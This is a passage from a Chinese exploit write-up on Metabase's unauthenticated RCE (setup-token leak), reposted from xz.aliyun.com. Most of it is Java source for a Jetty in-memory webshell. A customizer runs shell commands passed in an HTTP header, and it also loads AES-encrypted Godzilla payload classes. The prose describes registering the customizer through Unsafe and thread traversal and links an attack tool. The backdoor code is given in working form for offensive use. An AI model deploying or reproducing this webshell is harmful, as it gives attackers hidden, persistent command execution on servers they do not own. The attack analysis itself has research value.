            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }
    @Override
    public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
            try {
                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                    String cmd = request.getHeader("cmd");
                    if (cmd != null && !cmd.isEmpty()) {
                        String[] cmds = null;
                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
                            cmds = new String[]{"cmd", "/c", cmd};
                        } else {
                            cmds = new String[]{"/bin/bash", "-c", cmd};
                        }
                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
                        PrintWriter writer = request.getResponse().getWriter();
                        writer.println(result);
                        writer.flush();
                    }
                }
                    else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
                        // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
                        byte[] data = base64Decode(request.getParameter(pass));
                        data = x(data, false);
                        if (payload == null) {
                            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                            Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                            defMethod.setAccessible(true);
                            payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
                        } else {
                            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                            Object f = payload.newInstance();
                            f.equals(arrOut);
                            f.equals(data);
                            f.equals(request);
                            PrintWriter writer = request.getResponse().getWriter();
                            writer.write(md5.substring(0, 16));
                            f.toString();
                            writer.write(base64Encode(x(arrOut.toByteArray(), true)));
                            writer.write(md5.substring(16));
                            writer.flush();
                        }
                    }
            } catch (Exception e) {
        }
    }
}

内置2种马,一种是cmd马,一种是哥斯拉内存马。
思路也是很简单,我们利用Unsafe类可以得到任意的类的属性。遍历当前进程,最后获取到HttpConnection对象,然后利用这个类去注册一个customizer,customizer相当于tomcat里的value型内存马。和Filter马是一样用的。

最后是成功连接

https://github.com/Boogipop/MetabaseRceTools
首先需要存在setup-token泄露,其次必须知道jar文件的位置,默认是当前位置

从上述分析来看,一个未授权引起的RCE,但是修复方法是将setup-token不再显示,而没有对漏洞本身进行任何修复,那也就是说我们是不是还是可以通过某种方法获取到token,然后继续利用呢?然后jetty层的内存马也是比较高深莫测的。之前用的是jetty9,而metabase自带的是jetty11,也对应了jdk11,高版本jdk下的内存马还是需要我们一些探索的。
然后我们获取上下文context的方法最普遍的还是遍历线程,然后获取其中的属性。


文章来源: https://xz.aliyun.com/t/12901
如有侵权请联系:admin#unsafe.sh